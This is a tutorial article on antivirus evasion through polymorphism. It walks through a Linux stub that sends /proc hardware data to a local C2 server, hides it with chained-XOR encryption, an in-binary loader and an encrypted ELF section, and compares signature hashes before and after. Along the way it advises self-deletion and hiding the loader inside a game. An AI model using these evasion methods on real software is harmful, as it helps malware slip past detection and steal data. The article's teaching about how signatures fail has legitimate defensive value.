Introduction
In order to detect and inform users that their computer has been compromised, Antiviruses, along with lot of other techniques, applies signature-based detection techniques. Signature-based detection have evolved with time, and they have become more and more performant in their duty, but still remain prone to be fooled by careful virus writers.
Applications (and so also viruses) are written to perform numerous operations. These operations usually go from contacting a Command & Control (C2) server to spreading infection to other hosts connected to the local network. Every task given provides to give a single and personal "taste" to the malware, and the more the tasks given, the more unique the application is. I usually refer to this property as the "surface" of the application. The bigger the "surface," the more unique it becomes due tricks, injection and infection techniques used.
Antivirus signature databases work as a support to system scanning, and they provide the signature of specific applications (or parts of applications), that identifies a threat. Around the globe, a lot of laboratories and engineers analyze particular threats, extract important parts of the software and insert them in such databases, which are later updated on all the antivirus instances on personal laptops, server and smartphones.
If a similar application is found anywhere else, it is then recognized as a threat and the antivirus decides what to do to clean the infected system. And that's if it decides to clean it; some antivirus programs just inform the user that the PC is compromised. This methodology is usually really reliable, but needs the virus to be dowloaded on the antivirus lab PC, dissected by engineers, and inserted in the database. All these steps take time to be applied, and during that period, the virus is free to perform its tasks undisturbed. Antiviruses, of course, have some others arrows in their bows, like detection techniques which are not based on signature, but rather on heuristics. These techniques thus are difficult to handle and prone to false positives and errors (identifying a legit application as a virus).
Polymorphics malware is an old idea, and basically hides the malware by covering it with a "cape" of some sort, in order to fool signature-based scans or similar techniques. The hiding can be done in countless way, and that is why malware protected through such mechanisms are dangerous and considered difficult to handle. Writing a polymorphic malware is no easy task, since small errors can lead to enormous problems (making the software unusable).
Still, despite the lack of this protection mechanism, a virus can still be deadly until they're detected and signed by antivirus companies. There are plenty of examples of long-living malware with no protection at all, ignored by everyone beacuse they are silent enough not to attract the attention of the guards.
Background
You need to know Encryption techniques, memory access and protection, Makefile, C and low level assembly and CPU byte-code. You must also have advanced knowledge of the Linux operating system and build tools (GCC & company), along with debugging tools like GDB and readelf. All the arguments discussed here are advanced, but I'll try to present them as smoothly as possible.
Architecture and OS
The software has been written, tested and compiled under Windows, but currently target the Linux operating system. My current programming tools are a simple IDE like Eclipse and the Linux subsystem for Windows, with Ubuntu Canonical package installed. This is all you need to create such software. I will explain compilation steps and tools used with the Linux subsystem, but take into account I'm using a native Windows 10 machine.
The application targets x64 Linux architecture, but can easily be adapted to be used under Windows too (change some system calls, compile with mingw and adapt for PE files basically).
Disclaimer
This article has been written to show how this technology could have evolved, starting from simple ideas to more complex and twisted ones. All the software you will find here is just a stub, completed enough to show how the functionality works. Malware and similar applications need an (usually more complex) architecture to perform their tasks; security is not only applied on the application itself, but is also necessary for communication, synchronization, injection and data extraction. All these additional points are not covered here, since they are outside of the scope of the article.
The source code attached to this articles does basically nothing apart from trying to protect itself from scanning techniques and communicate with a fake C2 server to exchange information on the machine setup and hardware. I also want to warmly discourage you from using this code for real and evil purposes, and if you do, expect heavy consequences.
I invite you to explore the code, analyze it and realize how vulnerable a personal computer can be. I want to provide you more knowledge about cyber threats, so that you don't click on that strange attachment coming from a unusual e-mail. I don't know how people can still fall for this...
All the software here is original and not copy-paste from any forum or hidden web pages. I prefer to write it by myself (using my own brain and imagination) rather than using other people's work. This is the only way to really understand how such mechanisms works.
Purpose of the Dummy Malware
First of all, what is the purpose of writing such malware?
Well, of course, there is learning about and understanding them, but we need a more realistic purpose. Let's set its job on information extraction from target hosts. The core task of this malware is to retrieve some hardware information of the PC it is running on. Since the target Operating System is Linux, we are speaking of reading and sending back to the C2 server the content of, for example, files like /proc/cpuinfo, /proc/meminfo, /proc/cmdline and /proc/version.
I will name this core component "payload". Other components, with other purposes, will be different payload of the malware. In order, the payload tasks are:
- Connect to the C2 server, located on localhost, port 4000
- Read the content of the /proc files
- Send the content of the files to the C2 server
- Close the connection and die
As I previously stated, no effort is made to hide the traffic or propagate the malware to other hosts. This application basically does nothing to harm your PC, except for exposing your system information to unknown future threats (prepared ad-hoc with that information).
The ~80 lines program located in poly/1_basic/pload.c will be the core functionality of this malware. By proceeding with incremental complexity of the software, they will be lightly updated, but will maintain the same behavior.
C2 Server
The C2 server is also really simple.
Since it will run on a compromised server (up for the sole purpose of handling incoming connections), it won't have any protection mechanism to hide itself from the system where it is running on. The server is minimalistic, but (following a modular approach) is not single task oriented.
The data extraction module (dext) runs on a well defined port (which can be modified at will) and will start an autonomous thread listening for incoming connections by malware instances. Once connected, the module will simply print on the standard output the content of the incoming connection (which are is the information extracted by the client). A better implementation would be to organize such information in a database, with relation of the IP address and port used to exchange the information, and the generation of a temporary ID to associate to the instance, which can be made globally unique by the server itself.
The C2 server is located in c2 folder, under the root. To run it, just read the source files, compile them and then run without any additional argument.
Signature Verification
A small utility which performs SHA2 256 signature is also included in the project. This application will scan any given binary file to create cryptographic strong hashes (signatures) of it. We will see how these signatures will identify our core payload, and how the polymorphism help covering your trace during intrusion in a system.
Not only is the application instructed to compute the signature of the entire file, but also to create signatures for smaller areas of the same file. Since, due to avalanche effect, changing one byte changes the entire signature, using SHA256 on the entire file is not enough to have usable information. Well, the reliability of an entire file hash information is near 100%, since an exact copy of the malware will be detected without any doubt on the system, but next generations (modified and re-compiled) of the same maleware will pass undetected.
Signature creation also usually takes into account wildwards and similar tricks. This means that instructions which do not provide any meaningful operation are not taken into account; adding NOPs or similar byte code to your application will not help you in avoid detection. This is not something taken into account in the tool provided, so don't use it in production environment.
Also take into account that it is not necessary to use hashing functions to extract file signatures! It is enough to select and isolate a meaningful part of the code/data that it's likely to be an unique feature of the malware (a string, a procedure of some sort or a specific algorithm).
Unprotected Malware
Unprotected malware is not dummy or useless by default. There are situations where putting the efforts of polymorphism is not worth it: if your objective does not require a high success rate and your time is limited, you can code something which is not protected at all and can simply be used it as-is.
Once detected, it willl be impossible to safely use the application again, because it will be prone to detection by antivirus softwares. If the effort and money thrown at it are small enough, getting only a few results is still worth the game. Being able to break a poorly protected system with a one day's worth of written software is still a good achievement.
If you run the c2 server on the local machine, you will get the following trace:
xxx@xxx:/mnt/c/Projects/MOT/c2$ ./c2
Initializing Data Extraction module...
Listening for incoming reports...
Then you need to access the poly/1_basic directory, where the first step of our journey is located. Compile and run the pload software. No log will be shown on the payload console; there is no need to inform the user that it has been compromised. On the server side, if everything works fine and a connection can be established, you will be able to see the information reported by the malware, which will be something like:
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 94
model name : Intel(R) Core(TM) i5-6600K CPU @ 3.50GHz
stepping : 3
microcode : 0xffffffff
cpu MHz : 3504.000
cache size : 256 KB
physical id : 0
siblings : 4
core id : 0
cpu cores : 4
apicid : 0
initial apicid : 0
fpu : yes
fpu_exception : yes
cpuid level : 6
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36
clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp
lm pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 fma cx16 xtpr
pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes xsave
osxsave avx f16c rdrand
bogomips : 7008.00
clflush size : 64
cache_alignment : 64
address sizes : 36 bits physical, 48 bits virtual
power management:
processor : 1
vendor_id : GenuineIntel
cpu family : 6
model : 94
model name : Intel(R) Core(TM) i5-6600K CPU @ 3.50GHz
stepping : 3
microcode : 0xffffffff
cpu MHz : 3504.000
cache size : 256 KB
physical id : 0
siblings : 4
core id : 1
cpu cores : 4
apicid : 0
initial apicid : 0
fpu : yes
fpu_exception : yes
cpuid level : 6
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36
clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp
lm pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 fma cx16 xtpr
pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt tsc_deadline_timer aes
xsave osxsave avx f16c rdrand
bogomips : 7008.00
clflush size : 64
cache_alignment : 64
address sizes : 36 bits physical, 48 bits virtual
[...]
This demonstrates that the payload is doing its (useless) job properly.
So how do we detect that an application with such features is currently running in our sistem? Well, first we need to run our tool for file signatures on the payload (once located), and select a set of signatures that are meaningful to us. For example, you can invoke the following command from within the signer folder:
xxx@xxx:/mnt/c/Projects/MOT/signer$ ./sign_test.sh ../poly/1_basic/pload
A set of output files containing signatures of data of different size will be prepared in the folder of the target executable. For every output file you will have the first signature which identifies the entire file. For example, if we dump pload.4096.hash, we will find the following output (each line is an hashed block):
FILE:
c4 b1 18 c8 88 3b ca f2 a9 5c a1 c5 1f 4c 44 21 32 05 91 9d dd 66 95 7b 97 79 49 8b aa da 3d 2e
BLOCKS:
c7 e7 b1 ce 12 b6 72 65 de 3f 0c f1 6f e4 a6 21 6b 84 78 db e5 21 62 98 d4 19 b4 e7 7e 7e c0 89
a6 a2 f8 68 1a 8e 65 79 9e b4 5e 8e e7 33 68 9a 5b bc 22 43 87 52 7c e3 a2 64 f5 7b 03 5b 67 d2
65 66 3c 13 94 4a f3 b5 1e ea 11 c3 e5 49 71 1a 70 1d a1 4a 08 05 bb 30 33 09 5e e2 a8 42 a1 9a
6a 9a 70 33 4c bd dd 6c 05 9a 33 ed 5e 55 c0 97 dd 79 36 f5 0a 99 2b 14 25 19 6a 54 0f 24 34 77
b1 62 a5 b8 7d bc f6 24 34 63 c1 be 13 60 ef 1d 14 8d 6f 4c 6a 63 72 a2 28 2c 6c 59 99 de 12 35
The first line (highlighted) is the hash of the entire pload file, while successive ones are the hash of the first, second, third (and so on) sets of 4096 bytes of the pload application. Again, let me repeat that this method of detection is very dummy and only presented here for educational purposes. Its reliability is very low in real environments. I'm using it just to demonstrate effects that can occur with this and more complex signature mechanisms, as the problem at the base is still the same.
As you may notice, no blocks generate a similar signature, since the data used for signature generation is likely to be unique giving the big size (4 KB). In a similar way of the entire-file hash, these big blocks can be fooled with minimal modification, due to avalanche property of SHA or other hash procedures.
By reading the other signature files, you will start to see the effect of a selection of small pools of bytes from the target application. The hash dump with 1024 (1 KB) data size pools starts to show a possible problem of the signatures (highlighted, each line is a hashed block):
FILE:
c4 b1 18 c8 88 3b ca f2 a9 5c a1 c5 1f 4c 44 21 32 05 91 9d dd 66 95 7b 97 79 49 8b aa da 3d 2e
BLOCKS:
d5 7c 10 66 09 29 60 a0 a1 10 9f 1c 10 5d 0d 39 70 f4 7b 91 42 ea 8b a3 8a 08 dc fa e7 69 2f ce
d9 cd 03 c7 0d 28 ef 30 97 0e d1 38 bf ef 24 5d df 4e e5 e2 88 65 57 f5 79 8f 25 18 45 a9 b9 02
5e 1f c3 c6 af ce ee 52 e0 2d 40 68 d4 54 45 66 8a 13 68 54 2c 71 3f 67 0a 2d 78 fe 08 61 19 b9
7e b7 8d d7 b4 35 e0 d3 97 33 8c 74 c7 7f 60 a9 a1 73 00 9f f4 22 5b e3 92 72 ae 64 b4 85 ab 3c
5f 70 bf 18 a0 86 00 70 16 e9 48 b0 4a ed 3b 82 10 3a 36 be a4 17 55 b6 cd df af 10 ac e3 c6 ef
5f 70 bf 18 a0 86 00 70 16 e9 48 b0 4a ed 3b 82 10 3a 36 be a4 17 55 b6 cd df af 10 ac e3 c6 ef
5f 70 bf 18 a0 86 00 70 16 e9 48 b0 4a ed 3b 82 10 3a 36 be a4 17 55 b6 cd df af 10 ac e3 c6 ef
76 c0 d9 16 71 98 84 86 88 ce d1 49 d0 5c fb 45 f6 5a ea fe e3 e0 83 00 b3 3a 25 e4 3b a3 79 af
99 1c 64 3b 41 ee 6b 80 a6 01 57 9e 3b bf 50 0d 78 c0 57 68 a5 40 9b 71 72 a7 3a 31 a8 b4 be 88
68 b4 cb 82 20 84 85 d4 1d cc db e1 56 8e 60 62 b0 27 6a d2 02 c2 67 2b 23 06 c5 a4 51 e5 76 56
c2 59 62 f6 8e fa 36 00 d9 c1 f9 f3 2a 4c 9a 6e 9b 44 6b 2b f1 0e 72 ff 28 da c1 37 39 46 01 ac
b7 d9 f4 39 ec a7 bd 8b bc ed b9 69 4b 55 7a c3 44 81 2b 6e b1 fe 62 5a ef b3 c6 9e 9b 42 07 0d
83 fe 09 c8 48 31 a1 fe 73 b4 98 11 17 4f 2e 97 5d 2b e9 b8 44 f9 a8 c3 94 71 5f ca 9c a7 8a b0
42 4c b6 2e dd 5a 1d 34 15 60 8b 91 c6 ba ae df 6f 5f 74 0e 20 13 02 22 4f 60 d7 a7 63 aa 7c 45
18 1c 6a 15 e5 0d 0e 08 4d 09 9b 75 64 d4 23 a7 5d b8 ae 6e 55 c7 12 c2 5d 32 b1 8d 29 c7 40 9f
b6 7f bc 99 de 2d 34 bf a7 2e 21 b5 2b e5 35 7b e9 0e 83 4f 9f c3 de fe 84 28 35 fc 28 ed 16 36
b1 62 a5 b8 7d bc f6 24 34 63 c1 be 13 60 ef 1d 14 8d 6f 4c 6a 63 72 a2 28 2c 6c 59 99 de 12 35
The area of the pload with similar source data will generate the same signature. The lower the pool of data considered for the signature, the bigger the probability to have multiple signatures with the same value. Even worse, if you select pools of data that are too small, it's also probable that a similar signature can be detected in another (legit) application. This leads to false positive detection, and can trigger your scan technology on safe applications.
On the other side, as previsouly said, getting large data pools for signature generation is not really reliable, since minimal modification can generate an entirely new threat that is undetected by antivirus databases that have not been updated. You can align your signature to ELF/PE sections, and assume that code/data can remain the same, while other elements change, but this is not always true and you will be fooled again.
Leaving aside all these considerations, you still have the signature of such file (the first line), and for malware that doesn't consider obfuscation, this is enough to get a detection. Due to the complexity in handling such techniques not all the malware protects itself, and just consider in using 0-days vulnerabilities (or older ones on unpatched systems) to spread and affect a bigger number of possible of hosts before it can be detected. In addition, less complex malware can be edited (if you have the source files) pretty quickly and adapted to do the job in another way. This is enough usually to have a new generation which is usually no more detectable by this signature or by similar systems.
Again, as everything out there, you need to consider costs and benefits. Is it really worth spending half a year in a highly modular, obfuscating, malware with the risks of being detected immediately and waste all those efforts? Isn't it better to spend one or two weeks and release the straight application as it is? Once detected, the efforts put for its generation will be minimal, and probably you already benefit from its run in the wild for a few months or so. In addition, you can modify it in a week to have a slightly different version which can still do it's job for some other months.
Resume
- Difficulty: Low, simple as writing a normal software.
- Obfuscation: None, since does not try to protect itself.
- Secure on: Nowhere, it's safe until detected and dissected.
- Detect with: Simple signatures (once dissected) or heuristics (by behavior analysis, API used, connection and traffic scan, etc.).
The Naive Way
Let's assume that, after your strategical analysis, you considered having an obfuscated application at your service. After all, you don't want to make life easy for the security guys and you think it's "cool" to have one (and I hope you have way better arguments than these). The first idea that comed to your mind is the straight application of what polymorphic binary is: encrypt that ELF/PE file as a whole!
While applying this strategy, you need to consider some important points:
- Your application now is not valid anymore while encrypted.
Any attempts to run it will fail since the loader does not recognize it as an executable file. - Trying to execute it regardless of the loader errors will result in the application crash (random byte-code executed by the CPU which leads to illegal operations and exceptions, or even worse, to data corruption).
- You now need a small external utility (a loader) to "prepare" the application to be run in a legit away, thus increasing the detectable "surface" of your malware (the more the surface, the more the probability to be detected with signatures).
Don't get me wrong here: the "naive" method is not a stupid one! Having encryption applied at the entire file is pretty useful, since using different key results in different encrypted data. This means that here, signatures are totally useless against an encrypted part of the threat.
In addition to this, the malware has no idea that it will be encrypted/decrypted, and the internal complexity will lower due to this. You can code it as any other normal application, without caring about this security aspect, since it will be performed by another actor of your framework. The loader application located in poly/1_basic provides you the necessary functionality for encrypting/decrypting your ELF/PE file on disk. With some quick and easy modifications, you can perform these operations straight in memory if you desire to, but you still need the operating system loader to access this data somehow to perform relocations and loading. Some additional advice I want to give you is to instruct the decrypted malware to delete itself (on the hard disk) while running, or otherwise a trace of the unencrypted software will be left in the secondary memory.
How does it work, then? Well, once you compiled all the applications in the 1_basic folder, and you tested that pload
functionality is working, you need to invoke the following shell command:
./ldr ./pload e 1234
The loader will (e)ncrypt the pload executable using the key 1234 into a file named "encrypted". As you can see here, you can provide any key you desire to the same ELF/PE file. Different keys lead to different payloads, which will ultimately have different signatures. You can even apply the encryption operation different times, with different keys, but you will need to remember the steps and keys in order to decrypt it before the use.
Running the signature utility on the encrypted malware now will lead to the following set of signatures (again, each line is an hashed block):
FILE:
c7 e7 b1 ce 12 b6 72 65 de 3f 0c f1 6f e4 a6 21 6b 84 78 db e5 21 62 98 d4 19 b4 e7 7e 7e c0 89
BLOCKS:
a6 a2 f8 68 1a 8e 65 79 9e b4 5e 8e e7 33 68 9a 5b bc 22 43 87 52 7c e3 a2 64 f5 7b 03 5b 67 d2
65 66 3c 13 94 4a f3 b5 1e ea 11 c3 e5 49 71 1a 70 1d a1 4a 08 05 bb 30 33 09 5e e2 a8 42 a1 9a
6a 9a 70 33 4c bd dd 6c 05 9a 33 ed 5e 55 c0 97 dd 79 36 f5 0a 99 2b 14 25 19 6a 54 0f 24 34 77
b1 62 a5 b8 7d bc f6 24 34 63 c1 be 13 60 ef 1d 14 8d 6f 4c 6a 63 72 a2 28 2c 6c 59 99 de 12 35
As you can see, now all the signature differs from the ones of the original malware.
The applied algorithm for encryption use a basic XOR operation over the data, which chain together previous encrypted bytes with the current evaluated one, and salt everything with the given key. The mechanism is really simple, but functional enough to hide the application. In addition to this, entrophy calculation over the encrypted file is likely to fail at detecting it as encrypted, since it is not generated using a pool of cryptographic strong random numbers (some antivirus detects encrypted files with this mechanism).
for(i = 0, k = 0; i < br; i++, k = (k + 1) % ksize) {
if(i == 0) {
buf[i] = buf[i] ^ key[k];
} else {
buf[i] = buf[i] ^ buf[i - 1] ^ key[k];
}
}
Decrypting the application is as simple as encrypting it, and can be done with the following command:
./ldr ./encrypted d 1234
This command will ask the loader to (d)ecrypt the previously encrypted payload with the same key, and the result of this operation will be a clear and ready-to-be-executed file named "decrypted". If you run the C2 server and then the decrypted file, you will experience a similar feedback of the unprotected malware.
Resume
- Difficulty: Easy, just additional loader logic is required.
- Obfuscation
- Unprotected loader: Bad, since it does not protect itself.
- Protected loader: Excellent, since now the loader is metamorphic (will eventually be another article).
- Secure on: Hard disk and network download/upload.
- Detect with: Simple signatures (on loader) or heuristics on both the components. RAM scans of the active application also help detecting the obfuscated maleware using signatures (the loaded and executed memory is in clear and not protected).
Reducing the Malware Surface
As you could have guessed with the previous resume, having encryption applied to the entire payload is a good technique since it does not leave anything outside the encryption "cape". This reduces the possibility to leave particular mechanisms outside protection, and nullify any signature created on them. What is actually bad about that technique is the fact that the additional component designed and the loader adds surface to the software, and if left unprotected, basically disrupts all the efforts to hide the software (like multiplying by zero a number). Since now the loader is part of your framework, and you decided to obfuscate it, you also need to protect it. The loader cannot be encrypted. Thus, since it has to be executable by the CPU, and does not reside in an enclave (see Intel SGX).
There are multiple ways to go here. You can use small and easily to modify loader, since the efforts to write them will be minimal, but once dissected, they will not provide anymore obfuscation. Another way is to reside on metamorphism is to let the loader change its shape from generation to generation; this way the loader is never the same, and the antivirus is usually not able to pick a good detection sigature for it (though they can still try to apply heuristics of some kind).
Another way to go is to embed everything together in a single executable (kind of light obfuscation). This way, you will have the loader "somewhere" in a legit application (you can embed the malware in a small utility or game, for example). To detect such loader, you need to apply signatures with a low data pool (you can't use whole application signatures), since the application now has non-malware code inside, but this also can lead to false positive detection or similar problems. Putting the same (or better, slightly different) loader in different applications is enough to create a light mechanism of obfuscation.
I'll use this last technique, since using metamorphism will be left for another day (probably another article). The loader will be included in an application that contains both the loader and the payload. The loader is triggered at some point (in the sample application immediately), and this will lead to decryption and execution of the malware in-memory. It is worth highlighting that using such technique do not generate anymore unencrypted executables on hard-disk; they stay encrypted until loaded.
What we will end up having is something like:
+------------------------+ <--- start of executable
| |
| PE/ELF header(s) |
| |
+------------------------+
| .text section | <--- legit executable section, where loader is
+------------------------+
| .xdata section | <--- payload, encrypted (you can have more than one)
+------------------------+
| .data section | <--- legit data section
+------------------------+
| |
| |
| ... |
| |
| |
+------------------------+ <--- end of executable
It is not necessary to isolate the pload in a separate section, as I did in this example. You can always decide to put everything in the code section, and encrypt only the part you need. Take into account that an additional utility (called "butler" here), will be in charge of performing the inital encryption on the ELF/PE file, since it is instructed to always perform decryption before using the payload. Since the loader used here is not smart, it is not able to detect that no encryption have been applied. Running the malware before running butler will result in decrypting the clear payload, which results in crashing your application (decrypting the clear code will result in generating invalid opcodes).
And additional important note: In order to avoid the Windows/Linux loader to mess with the encrypted data, you will need to build your application with Independent Position Code flags set. This allows the code to be compiled with jumps relative to the local code, with the result of stripping relocations from the software. If you don't perform this step, and the application is not loaded in its preferred address, the loader will modify relocations regardless of the status of the code (encrypted/clear). Some of the relocations will be located inside the encrypted area, and the loader will change them in order to match the new address location (before decryption, because the loader has no idea that the code is encrypted). This is likely to end in a disaster.
In the directory poly/2_all_in_one, you can find this example. Invoke the make to compile that part of the project.
Running the signer on the malware "mw
" will have the following results (do I repeat that each line is a different hashed block?):
FILE:
73 fe 5e 01 ff 43 8d d6 54 0d 0b 26 ba 85 14 6d 80 03 30 b6 79 fe 4b 57 e1 5b 9d 65 64 0c 55 68
BLOCKS:
58 73 42 d0 34 37 33 cc e0 61 d8 a3 1a 73 a5 32 52 df 27 3e 25 3d d0 55 0c 0e 18 fa f9 25 25 03
89 9b e2 4b c2 16 e3 83 68 dd e0 3c ad 67 39 8f 12 97 e5 2b 1f 94 0e 2f 40 d1 00 22 0e 9f f3 fe
f7 50 54 47 6c 37 9d c2 79 ab 03 bf d3 04 b8 68 a1 f7 04 49 05 df 3e 36 bb 1b 02 f7 95 09 69 d7
d8 6e bc 50 da d2 f1 4c 00 96 40 61 9d 1c ee 0e 61 5e 55 29 2e 88 a0 21 03 f1 7e f6 34 f5 41 00
3c cf 55 97 30 de 55 00 03 67 c5 37 db cd b2 4a d5 4d b4 25 f1 0d 15 3f a9 30 46 3e 8c e6 ba f2
And if you examine it with the readelf
utility, you can detect the additional section containing our payload.
xxx@xxx:/mnt/c/Projects/MOT/poly/2_all_in_one$ readelf -S ./mw
There are 38 section headers, starting at offset 0x3d98:
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .interp PROGBITS 0000000000400238 00000238
000000000000001c 0000000000000000 A 0 0 1
[ 2] .note.ABI-tag NOTE 0000000000400254 00000254
0000000000000020 0000000000000000 A 0 0 4
[ 3] .note.gnu.build-i NOTE 0000000000400274 00000274
0000000000000024 0000000000000000 A 0 0 4
[ 4] .gnu.hash GNU_HASH 0000000000400298 00000298
000000000000001c 0000000000000000 A 5 0 8
[ 5] .dynsym DYNSYM 00000000004002b8 000002b8
00000000000001b0 0000000000000018 A 6 1 8
[ 6] .dynstr STRTAB 0000000000400468 00000468
00000000000000c1 0000000000000000 A 0 0 1
[ 7] .gnu.version VERSYM 000000000040052a 0000052a
0000000000000024 0000000000000002 A 5 0 2
[ 8] .gnu.version_r VERNEED 0000000000400550 00000550
0000000000000040 0000000000000000 A 6 1 8
[ 9] .rela.dyn RELA 0000000000400590 00000590
0000000000000018 0000000000000018 A 5 0 8
[10] .rela.plt RELA 00000000004005a8 000005a8
0000000000000180 0000000000000018 AI 5 25 8
[11] .init PROGBITS 0000000000400728 00000728
000000000000001a 0000000000000000 AX 0 0 4
[12] .plt PROGBITS 0000000000400750 00000750
0000000000000110 0000000000000010 AX 0 0 16
[13] .plt.got PROGBITS 0000000000400860 00000860
0000000000000008 0000000000000000 AX 0 0 8
[14] .text PROGBITS 0000000000400870 00000870
0000000000000352 0000000000000000 AX 0 0 16
[15] .xdata PROGBITS 0000000000400bc2 00000bc2
0000000000000277 0000000000000000 AX 0 0 1
[...]
As it is now, the software is not usable. Before even trying to run it, you need butler to perform its job, and encrypt the payload using the same key that will be used by the internal loader to decrypt it. Butler also needs to match the same cryptographic algorithm in order for the loader to perform the reverse operation correctly (the same basic XOR will always be used).
xxx@xxx:/mnt/c/Projects/MOT/poly/2_all_in_one$ ./butler
64-bits executable detected...
If no errors are reported on the console, it means that operations have been successful. Running the signature utility again will show that something has indeed changed inside the "mw
" software, since now some signatures are different:
FILE:
f8 a0 4a 72 fa 9b c8 8d ba 17 40 34 33 d8 47 f5 fc d8 b8 3d 65 98 c7 4c 88 c0 3d 2b d1 b4 a4 06
BLOCKS:
99 c9 2d a2 a3 fc 07 0a 23 cf c6 4f f3 7e 6a 73 1d 46 40 f2 4e d9 bd e8 3a 9a 94 43 08 8c 62 ae
89 9b e2 4b c2 16 e3 83 68 dd e0 3c ad 67 39 8f 12 97 e5 2b 1f 94 0e 2f 40 d1 00 22 0e 9f f3 fe
f7 50 54 47 6c 37 9d c2 79 ab 03 bf d3 04 b8 68 a1 f7 04 49 05 df 3e 36 bb 1b 02 f7 95 09 69 d7
d8 6e bc 50 da d2 f1 4c 00 96 40 61 9d 1c ee 0e 61 5e 55 29 2e 88 a0 21 03 f1 7e f6 34 f5 41 00
3c cf 55 97 30 de 55 00 03 67 c5 37 db cd b2 4a d5 4d b4 25 f1 0d 15 3f a9 30 46 3e 8c e6 ba f2
If you dump the bytecode of both versions, before and after the execution of butler utility, you will also see what kind of changes, in details, have been applied to the malware payload.
xxx@xxx:/mnt/c/Projects/MOT/poly/2_all_in_one$ make
gcc -Wall -g -fpic -o mw ./main.c ./pload.c -ldl
./main.c: In function ‘mem_decrypt’:
./main.c:18:17: warning: initialization makes pointer from integer
without a cast [-Wint-conversion]
void * start = (long)pload_send - ((long)pload_send % ps);
^
gcc -Wall -g -fpic -o butler ./butler.c
xxx@xxx:/mnt/c/Projects/MOT/poly/2_all_in_one$ hexdump ./mw > mw.txt
xxx@xxx:/mnt/c/Projects/MOT/poly/2_all_in_one$ ./butler
64-bits executable detected...
xxx@xxx:/mnt/c/Projects/MOT/poly/2_all_in_one$ hexdump ./mw > mw.after.txt
xxx@xxx:/mnt/c/Projects/MOT/poly/2_all_in_one$ diff ./mw.txt ./mw.after.txt
189,228c189,228
< 0000bc0 c3f3 4855 e589 8148 30ec 0004 8900 dcbd
< 0000bd0 fffb 48ff b589 fbd0 ffff 4864 048b 2825
< 0000be0 0000 4800 4589 31f8 c7c0 e485 fffb 00ff
< 0000bf0 0000 4800 858b fbd0 ffff 8d48 b735 0002
< 0000c00 4800 c789 17e8 fffc 48ff 8589 fbe8 ffff
< 0000c10 8348 e8bd fffb 00ff 1d75 8b48 d085 fffb
< 0000c20 48ff c689 8d48 8f3d 0002 b800 0000 0000
< 0000c30 8be8 fffb ebff 4874 958b fbe8 ffff 8d48
< 0000c40 f085 fffb 48ff d189 00ba 0004 be00 0001
< 0000c50 0000 8948 e8c7 fb16 ffff 8589 fbe4 ffff
< 0000c60 858b fbe4 ffff 6348 48d0 b58d fbf0 ffff
< 0000c70 858b fbdc ffff 00b9 0000 8900 e8c7 fb2e
< 0000c80 ffff 8548 79c0 480c 3d8d 024a 0000 cde8
< 0000c90 fffa 83ff e4bd fffb 00ff 9b7f 8b48 e885
< 0000ca0 fffb 48ff c789 d5e8 fffa 48ff 458b 64f8
< 0000cb0 3348 2504 0028 0000 0574 d1e8 fffa c9ff
< 0000cc0 55c3 8948 48e5 ec83 8910 fc7d 458b 48fc
< 0000cd0 358d 021e 0000 c789 e5e8 fffe 8bff fc45
< 0000ce0 8d48 1b35 0002 8900 e8c7 fed4 ffff 458b
< 0000cf0 48fc 358d 0218 0000 c789 c3e8 fffe 8bff
< 0000d00 fc45 8d48 1535 0002 8900 e8c7 feb2 ffff
< 0000d10 c990 55c3 8948 48e5 ec83 6430 8b48 2504
< 0000d20 0028 0000 8948 f845 c031 00ba 0000 be00
< 0000d30 0001 0000 02bf 0000 e800 fb12 ffff 4589
< 0000d40 83d4 d47d 7500 4816 3d8d 01e2 0000 0de8
< 0000d50 fffa b8ff 0000 0000 bbe9 0000 4800 3d8d
< 0000d60 01ec 0000 87e8 fffa 48ff 4589 48d8 7d83
< 0000d70 00d8 2275 8d48 d535 0001 4800 3d8d 01d8
< 0000d80 0000 00b8 0000 e800 fa34 ffff 00b8 0000
< 0000d90 e900 0082 0000 c766 e045 0002 8b48 d845
< 0000da0 408b 4814 d063 8b48 d845 8b48 1840 8b48
< 0000db0 4800 4d8d 48e0 c183 4804 c689 8948 e8cf
< 0000dc0 fa3c ffff a0bf 000f e800 f9d2 ffff 8966
< 0000dd0 e245 8d48 e04d 458b bad4 0010 0000 8948
< 0000de0 89ce e8c7 fa58 ffff c085 1374 8d48 853d
< 0000df0 0001 e800 f968 ffff 00b8 0000 eb00 8b19
< 0000e00 d445 c789 b8e8 fffe 8bff d445 c789 bde8
< 0000e10 fff9 b8ff 0000 0000 8b48 f875 4864 3433
< 0000e20 2825 0000 7400 e805 f964 ffff c3c9 4855
< 0000e30 e589 00b8 0000 5d00 00c3 0000 8348 08ec
---
> 0000bc0 c3f3 1e64 75a4 bf0c 6460 6351 ed50 8f61
> 0000bd0 8c47 3842 0382 2be2 2ce7 0379 8bbb 859f
> 0000be0 82b6 c9b3 0273 c8cb c83b aa7c a962 5567
> 0000bf0 5266 1963 10a1 38f1 3ff4 f946 7cff 7d4f
> 0000c00 324e 7f8a 87a4 874a 374b 388f 2ce3 2fe2
> 0000c10 e354 b56f b67d 4a78 250c e55c b753 b07d
> 0000c20 007c 4cb8 8e37 3f82 3a0e 810b 86b2 85b7
> 0000c30 e15e e62b f52a cab0 d372 c30a c40f 02bd
> 0000c40 70b4 77ba c7bb 9c7f 2115 2614 9f15 9daf
> 0000c50 9aae 58e3 70ac 9e57 9952 9621 8e41 8d40
> 0000c60 8435 9851 9f54 b7e6 2854 1394 1fd0 1cd1
> 0000c70 15a4 31f8 36fd 8cbe 8bbf 01ba 29f5 ff36
> 0000c80 f833 3681 88c5 cfb5 7871 3303 3400 12ed
> 0000c90 10db 6fde 31e1 36fb cefa 2980 ed52 8359
> 0000ca0 804b 344e 7d8e 43a4 418a f58f 3c4d a3f5
